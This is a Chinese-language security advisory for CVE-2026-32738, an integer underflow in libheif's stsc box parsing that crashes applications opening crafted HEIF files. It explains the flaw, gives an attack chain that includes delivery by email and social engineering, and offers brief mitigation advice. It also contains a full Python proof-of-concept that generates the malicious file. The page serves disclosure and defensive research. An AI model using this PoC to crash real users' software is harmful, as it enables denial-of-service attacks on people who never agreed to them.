IPBUF安全漏洞报告
English
CVE-2026-32738 CVSS 6.5 中危

CVE-2026-32738 libheif整数下溢导致拒绝服务漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-32738
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
libheif

相关标签

拒绝服务整数下溢libheifDoSHEIFCVSS-6.5

漏洞概述

libheif是一款流行的HEIF和AVIF文件格式编解码器。在1.21.2及以下版本中存在一个安全漏洞,该漏洞源于对特制HEIF文件的解析逻辑缺陷。攻击者可以构造一个包含恶意stsc框的HEIF文件,其中将samples_per_chunk字段设置为0。当libheif库解析此文件时,会触发Chunk构造函数中的无符号整数下溢,导致所有样本被映射到一个空块中。尽管文件解析过程不会报错,但在尝试访问第一帧时,程序会尝试从空的std::vector中读取数据,引发段错误(SEGV),从而导致应用程序崩溃。此漏洞可被利用进行拒绝服务攻击。

技术细节

该漏洞的根源在于libheif处理HEIF文件Sample-to-Chunk(stsc)盒子时的逻辑缺陷。HEIF格式使用stsc盒子将样本索引映射到块索引。漏洞触发条件是stsc盒子中的`samples_per_chunk`字段被设置为0。在解析过程中,Chunk构造函数执行计算`m_last_sample = first_sample + samples_per_chunk - 1`。当`samples_per_chunk`为0时,计算变为`0 + 0 - 1`。由于`m_last_sample`是无符号32位整数,减法操作导致整数下溢,其值变为`UINT32_MAX`。这种异常值导致后续的所有样本都被映射到一个空的chunk中。虽然初始解析成功,但访问帧数据时,程序会读取空vector的索引0,触发非法内存访问和崩溃。攻击者无需认证,只需诱导用户打开恶意文件即可利用此漏洞。

攻击链分析

STEP 1
步骤1
攻击者制作特制的HEIF文件,其中stsc框的samples_per_chunk字段被设置为0,触发整数下溢逻辑。
STEP 2
步骤2
攻击者通过网络分发、邮件附件或社交工程手段,将恶意文件发送给目标用户。
STEP 3
步骤3
受害者使用集成漏洞版本libheif(<=1.21.2)的软件(如图像查看器、浏览器)打开该恶意文件。
STEP 4
步骤4
软件解析文件时,Chunk构造函数发生整数下溢,将样本映射至空块。
STEP 5
步骤5
当软件尝试渲染或访问第一帧时,触发空指针读取(SEGV),导致应用程序崩溃,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct import os def create_malicious_heif(filename): """ Generates a crafted HEIF file to trigger CVE-2026-32738. The file contains a stsc box with samples_per_chunk = 0. """ with open(filename, 'wb') as f: # 1. ftyp box (File Type) ftyp_data = struct.pack('>I4s4sI', 32, b'ftyp', b'heic', 0) + b'mif1' f.write(ftyp_data) # 2. moov box structure moov_start = f.tell() f.write(struct.pack('>I', 0)) # Size placeholder f.write(b'moov') # mvhd (Movie Header) mvhd_data = struct.pack('>I4sIIIIIIIIIIII', 108, b'mvhd', 0, 0, 0, 0, 1000, 0, 0, 0, 0, 0x00010000, 0, 0, 0, 0) + (b'\x00' * 60) f.write(mvhd_data) # trak (Track) trak_start = f.tell() f.write(struct.pack('>I', 0)) f.write(b'trak') # tkhd (Track Header) tkhd_data = struct.pack('>I4sIIIIIIIIIIII', 92, b'tkhd', 0, 0, 0, 1, 0, 0, 0, 0, 0, 0x00010000, 0, 0, 0, 0) + (b'\x00' * 48) f.write(tkhd_data) # mdia (Media) mdia_start = f.tell() f.write(struct.pack('>I', 0)) f.write(b'mdia') # mdhd (Media Header) mdhd_data = struct.pack('>I4sIIIII', 32, b'mdhd', 0, 0, 90000, 0, 0x55c40000) f.write(mdhd_data) # hdlr (Handler Reference) hdlr_data = struct.pack('>I4sI4sIIII', 43, b'hdlr', 0, b'vide', 0, 0, 0, 0) + b'VideoHandler' + b'\x00' f.write(hdlr_data) # minf (Media Information) minf_start = f.tell() f.write(struct.pack('>I', 0)) f.write(b'minf') # vmhd (Video Media Header) vmhd_data = struct.pack('>I4sHHH', 20, b'vmhd', 0, 0, 0) f.write(vmhd_data) # dinf (Data Information) f.write(struct.pack('>I', 36)) f.write(b'dinf') dref_data = struct.pack('>I4sII', 28, b'dref', 0, 1) + struct.pack('>I4sI', 12, b'url ', 0x01) f.write(dref_data) # stbl (Sample Table) stbl_start = f.tell() f.write(struct.pack('>I', 0)) f.write(b'stbl') # stsd (Sample Description) - Minimal hvc1 stsd_entry = b'hvc1' + struct.pack('>I', 0) + (b'\x00' * 86) stsd_data = struct.pack('>I4sI', 16 + len(stsd_entry), b'stsd', 0) + struct.pack('>I', len(stsd_entry)) + stsd_entry f.write(stsd_data) # stts (Time-to-Sample) stts_data = struct.pack('>I4sII', 16, b'stts', 0, 0) f.write(stts_data) # stsc (Sample-to-Chunk) - VULNERABILITY TRIGGER # struct: entry_count(1), first_chunk(1), samples_per_chunk(0), sample_description_index(1) stsc_payload = struct.pack('>IIII', 1, 1, 0, 1) stsc_data = struct.pack('>I4sII', 16 + len(stsc_payload), b'stsc', 0, 1) + stsc_payload f.write(stsc_data) # stsz (Sample Size) stsz_data = struct.pack('>I4sIII', 20, b'stsz', 0, 0, 0) f.write(stsz_data) # stco (Chunk Offset) stco_data = struct.pack('>I4sII', 16, b'stco', 0, 0) f.write(stco_data) # Update container sizes current_pos = f.tell() f.seek(stbl_start); f.write(struct.pack('>I', current_pos - stbl_start)) f.seek(minf_start); f.write(struct.pack('>I', current_pos - minf_start)) f.seek(mdia_start); f.write(struct.pack('>I', current_pos - mdia_start)) f.seek(trak_start); f.write(struct.pack('>I', current_pos - trak_start)) f.seek(moov_start); f.write(struct.pack('>I', current_pos - moov_start)) create_malicious_heif('CVE-2026-32738_POC.heif') print('PoC file generated: CVE-2026-32738_POC.heif')

影响范围

libheif <= 1.21.2

防御指南

临时缓解措施
在未进行版本升级前,建议用户避免打开来源不明的HEIF或AVIF格式文件。开发者可在应用层通过沙箱隔离处理不受信任的图像文件,以限制崩溃对系统的影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表